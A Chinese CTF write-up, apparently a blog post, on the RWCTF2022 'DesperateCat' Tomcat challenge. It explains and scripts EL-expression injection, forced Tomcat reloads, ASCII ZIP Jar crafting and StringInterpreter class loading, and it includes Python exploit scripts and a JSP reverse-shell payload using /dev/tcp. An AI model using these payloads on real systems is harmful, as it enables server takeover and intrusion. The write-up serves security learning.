[RWCTF2022]DesperateCat(tomcat相关利用姿势)

关键词:el表达式、ASCII ZIP Jar、tomcat reload 、jsp编译过程中StringInterpreter执行、META-INF/resources/下文件加载进webResource
解压war包得到源码,一个上传功能,设置了编码为utf-8
写入的文件后缀可控、没有检查;但文件名不可控,会被替换为随机字符串;可指定文件的写入目录,且写入文件时如果文件所在的目录不存在,会递归进行父目录的创建,可进行目录穿越;写入的文件内容可控,且以字符串编码的形式写入(而非直接传递的字节流),但前后有脏数据;
在这里插入图片描述
比较棘手的是一些特殊字符被 HTML 转义
在这里插入图片描述

< > ( )被转义常见的jsp木马无法使用

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

可使用EL 表达式规避尖括号。从 web.xml 2.4 规范版本开始默认支持 EL

${Runtime.getRuntime().exec(request.getParameter("i"));}

但要使用函数则()无法避免,因为使用el表达式,在<%%>内常用的Unicode编码也无法使用
对jsp解析,el中编码啥的也不太懂,直接按wp中的思路摸一遍

1.第一种方法(借助el表达式链)

是让部署的程序触发reload(Tomcat 关闭服务时也会)使得用户 Session 中的数据以序列化的形式持久存储到本地session.jsp文件,文件内容无转义处理过滤。并修改 appBase 目录使得写入的jsp可访问
让 Tomcat 部署的程序进行 reload 需要满足两个条件:

  1. Context reloadable 配置为 true(默认是 false);
  2. /WEB-INF/classes/ 或者 /WEB-INF/lib/ 目录下的文件发生变化。/WEB-INF/classes/ 下已加载过的 class 文件内容发生了修改;/WEB-INF/lib/ 下已加载过的 jar 文件内容发生了修改,或者写入了新的 jar
    文件。(哪怕存在脏数据,内容无法被正常解析,在 Context reloadable 为 true 的情况下也会触发 reload)

由于我们写入的 Jar 文件不合法(前后存在脏数据),应用 Context 会 reload 失败,导致部署的这整个应用直接 404 无法访问,修改整个 Tomcat 的 appBase 目录使得session.jsp可访问

修改Session 文件的存储路径(默认路径是在 work 应用目录下的 SESSIONS.ser):

${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
EL . 点号属性取值相当于执行对象的 getter 方法,= 赋值则等同于执行 setter 方法,因此这段表达式等同于执行:
pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter(“a”));

Session 数据写入:

${sessionScope[param.b]=param.c}

修改Context reloadablede的值:

${pageContext.servletContext.classLoader.resources.context.reloadable=true}

修改整个 Tomcat 的 appBase 目录:

${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}

import time
import requests

PROXIES = None
# PROXIES = {
# 'http':'http://127.0.0.1:8080',
# }

if __name__ == '__main__':
	target_url = "http://192.168.3.12:8080"
	reverse_shell_host = "ip"
	reverse_shell_port = "7999"
	el_payload =r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
					${sessionScope[param.b]=param.c}
					${pageContext.servletContext.classLoader.resources.context.reloadable=true}
					${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
	reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>"""
	r = requests.post(url=f'{target_url}/export',
	data={
	'dir': '',
	'filename': 'a.jsp',
	'content': el_payload,
	},
	proxies=PROXIES)
	shell_path = r.text.strip().split('/')[-1]
	shell_url = f'{target_url}/export/{shell_path}'
	r2 = requests.post(url=shell_url,
	data={
	'a': '/tmp/session.jsp',
	'b': 'voidfyoo',
	'c': reverse_shell_jsp_payload,
	'd': '/',
	},
	proxies=PROXIES)
	r3 = requests.post(url=f'{target_url}/export',
	data={
	'dir': './WEB-INF/lib/',
	'filename': 'a.jar',
	'content': 'a',
	},
	proxies=PROXIES)
	time.sleep(10) # wait a while
	r4 = requests.get(url=f'{target_url}/tmp/session.jsp', proxies=PROXIES)
 

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

2.第二种方法(ASCII ZIP Jar)

构造所有字节都在 0-127 范围内、且不出现被转义字符的特殊 Jar 包,使得即使前后都有脏数据、且内容以字符串编码形式被写入,Java 仍然会认为它是一个有效的 Jar 包
https://github.com/Arusekk/ascii-zip
我尝试参考这个项目写个脚本解决,但文件头种crc,压缩后长度这种超出了0-127范围,且都有字节长度限制,也不能直接用他的编码函数(会变长) 传上去之后文件头部分编码变了 导致无法被识别
在这里插入图片描述
看了半天文档还是不知道该咋整 下面部分的操作 都是基于本地搭了个环境 直接复制jar到目录
https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html
在这里插入图片描述

zip格式部分代码如下

def wrap_zip(compressed, compressed1, filename=filename.encode(), filename1=filename1.encode(), filename2=filename2.encode()):
    crc = zlib.crc32(data) % pow(2, 32)
    crc1 = zlib.crc32(data1) % pow(2, 32)
    print("crc: "+str(crc)+"  |  cre1: "+str(crc1))
    return (
            b'PK\3\4' +  # Magic
            binascii.unhexlify(
                '0a000000' +  # Version needed to extract
                '080000000000'  # Compression Method
            ) +
            struct.pack('<L', crc) +
            struct.pack('<L', len(compressed) % pow(2, 32)) +
            struct.pack('<L', len(data) % pow(2, 32)) +
            struct.pack('<H', len(filename)) +
            b'\0\0' +
            filename +
            compressed +

            b'PK\3\4' +  # Magic
            binascii.unhexlify(
                '0a000000' +  # Version needed to extract
                '080000000000'  # Compression Method
            ) +
            struct.pack('<L', 0) +
            struct.pack('<L', 0) +
            struct.pack('<L', 0) +
            struct.pack('<H', len(filename2)) +
            b'\0\0' +
            filename2 +

            b'PK\3\4' +  # Magic
            binascii.unhexlify(
                '0a000000' +  # Version needed to extract
                '080000000000'  # Compression Method
            ) +
            struct.pack('<L', crc1) +
            struct.pack('<L', len(compressed1) % pow(2, 32)) +  # 压缩后的大小
            struct.pack('<L', len(data1) % pow(2, 32)) +  # 未压缩之前的大小
            struct.pack('<H', len(filename1)) +
            b'\0\0' +
            filename1 +
            compressed1 +

            b'PK\1\2\0\0' +  # Magic
            binascii.unhexlify(
                '0a000000' +  # Version needed to extract
                '080000000000'
            ) +
            struct.pack('<L', crc) +
            struct.pack('<L', len(compressed) % pow(2, 32)) +
            struct.pack('<L', len(data) % pow(2, 32)) +
            struct.pack('<L', len(filename)) +
            b'\0' * 10 +
            struct.pack('<L', 0) +  # offset of file in archive
            filename +

            b'PK\1\2\0\0' +  # Magic
            binascii.unhexlify(
                '0a000000' +  # Version needed to extract
                '080000000000'
            ) +
            struct.pack('<L', 0) +
            struct.pack('<L', 0) +
            struct.pack('<L', 0) +
            struct.pack('<L', len(filename2)) +
            b'\0' * 10 +
            struct.pack('<L', len(compressed) + len(filename) + 0x1e) +  # offset of file in archive
            filename2 +

            b'PK\1\2\0\0' +  # Magic
            binascii.unhexlify(
                '0a000000' +  # Version needed to extract
                '080000000000'
            ) +
            struct.pack('<L', crc1) +
            struct.pack('<L', len(compressed1) % pow(2, 32)) +
            struct.pack('<L', len(data1) % pow(2, 32)) +
            struct.pack('<L', len(filename1)) +
            b'\0' * 10 +
            struct.pack('<L', len(compressed) + len(filename+filename2) + 0x1e*2) +  # offset of file in archive
            filename1 +

            b'PK\5\6\0\0\0\0\0\0' +  # Magic
#            struct.pack('<H', 3) +  # number of files
            struct.pack('<H', 3) +  # number of files
            struct.pack('<L', len(filename+filename2+filename1) + 0x2e*3) +  # size of CD
            struct.pack('<L', len(compressed+compressed1) + len(filename+filename2+filename1) + 0x1e*3) +  # offset of CD
            b'\0\0'
    )

修改 Tomcat Context WatchedResource 来触发reload,写入的 Jar 包能够被重新加载进入jvm。

在 Tomcat 9 环境下,默认的 WatchedResource 包括:
WEB-INF/web.xml
WEB-INF/tomcat-web.xml
${CATALINA_HOME}/conf/web.xml

在 Tomcat 开启 autoDeploy 的情况下(默认开启),一旦发现这些文件资源的 lastModified 时间被修改,会触发 reload
这里比较麻烦的是写文件漏洞的文件名不可控,无法直接加点注释传个新的上去完成覆盖
但应用本身没有 WEB-INF/tomcat-web.xml 配置文件,因此通过利用程序本身的写文件漏洞,来创建一个 WEB-INF/tomcat-web.xml/ 目录,也可以让应用强行触发 reload,加载进先前写入的 Jar 包。

之后利用el表达式org.apache.jasper.compiler.StringInterpreter设置其值为jar包种的恶意类名称。在jsp的编译过程中,在org/apache/jasper/compiler/Generator.java中他会执行getStringInterpreter,在访问 JSP 进行表达式解析的时候,就会触发类加载,加载先前写入在 Jar 中的恶意类

import requests

PROXIES = None

if __name__ == '__main__':
	target_url = "http://127.0.0.1:8080"
	el_payload =r"${applicationScope[param.a]=param.b}"

	rr = requests.post(url=f'{target_url}/export',
	data={
	'dir': './WEB-INF/lib/',
	'filename': 'a.jar',
	'content': open('Exploit.jar', 'rb').read(),
	},
	proxies=PROXIES)

	r = requests.post(url=f'{target_url}/export',
	data={
	'dir': './WEB-INF/tomcat-web.xml/',
	'filename': 'tomcat-web.xml',
	'content': """<?xml version="1.0" encoding="UTF-8"?>""",
	},
	proxies=PROXIES)

在这里插入图片描述

或者把 JSP Webshell 放在先前构造的 Jar 包里的 META-INF/resources/目录,直接通过 Web 访问
META-INF/resources/这里为什么会被加载进webResource具体的处理逻辑参考https://blog.csdn.net/solitudi/article/details/122696117

import requests

PROXIES = None

if __name__ == '__main__':
	target_url = "http://127.0.0.1:8080"
	el_payload =r"${applicationScope[param.a]=param.b}"

	rr = requests.post(url=f'{target_url}/export',
	data={
	'dir': './WEB-INF/lib/',
	'filename': 'a.jar',
	'content': open('Exploit.jar', 'rb').read(),
	},
	proxies=PROXIES)

	r = requests.post(url=f'{target_url}/export',
	data={
	'dir': './WEB-INF/tomcat-web.xml/',
	'filename': 'tomcat-web.xml',
	'content': """<?xml version="1.0" encoding="UTF-8"?>""",
	},
	proxies=PROXIES)

	r1 = requests.post(url=f'{target_url}/export',
	data={
	'dir': '',
	'filename': 'a.jsp',
	'content': el_payload,
	},
	proxies=PROXIES)

	shell_path = r1.text.strip().split('\\')[-1]
	shell_url = f'{target_url}/export/{shell_path}'
	r2 = requests.post(url=shell_url,
	data={
	'a': 'org.apache.jasper.compiler.StringInterpreter',
	'b': 'Exploit',
	},
	proxies=PROXIES)

	r3 = requests.post(url=f'{target_url}/export',
	data={
	'dir': '',
	'filename': 'a.jsp',
	'content': el_payload,
	},
	proxies=PROXIES)

	shell_path = r3.text.strip().split('\\')[-1]
	shell_url = f'{target_url}/export/{shell_path}'
	r4 = requests.get(url=shell_url, proxies=PROXIES)

在这里插入图片描述

参考:

https://www.anquanke.com/post/id/267124
https://blog.csdn.net/solitudi/article/details/122678827
https://blog.csdn.net/solitudi/article/details/122696117

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值